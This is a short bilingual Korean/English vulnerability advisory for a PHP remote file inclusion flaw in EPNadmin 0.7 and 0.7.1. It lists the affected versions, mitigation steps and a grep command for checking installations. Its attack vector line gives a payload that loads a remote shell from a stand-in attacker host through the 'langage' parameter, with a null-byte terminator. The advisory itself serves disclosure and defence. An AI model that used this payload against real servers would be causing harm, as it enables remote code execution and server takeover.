🇰🇷 한글 설명
EPNadmin 0.7 및 0.7.1의 constantes.inc.php에서 langage 매개변수를 통해 원격 PHP 파일을 포함시킬 수 있는 RFI 취약점입니다. 공격자는 악의적인 PHP 코드가 포함된 원격 파일을 로드하여 서버에서 임의의 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹 프로그램의 언어 설정 부분에서 외부 인터넷 서버의 코드를 실행할 수 있는 문제가 있습니다. 해커가 이를 악용하면 웹사이트 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in constantes.inc.php in EPNadmin 0.7 and 0.7.1 allows remote attackers to execute arbitrary PHP code via the langage parameter.
📍 영향받는 시스템
EPNadmin 0.7, 0.7.1
⚔️ 공격 벡터
langage 파라미터에 원격 URL 입력: ?langage=http://attacker.com/shell.php%00
🛡️ 대응 방법
EPNadmin 최신 버전으로 업그레이드 또는 입력값 검증 강화 및 allow_url_fopen 비활성화
🔧 검증 코드
constantes.inc.php에서 langage 변수 사용이 보이면 해당 파일의 버전 확인 필요
grep -r 'langage' /var/www --include='*.php' 2>/dev/null | head -5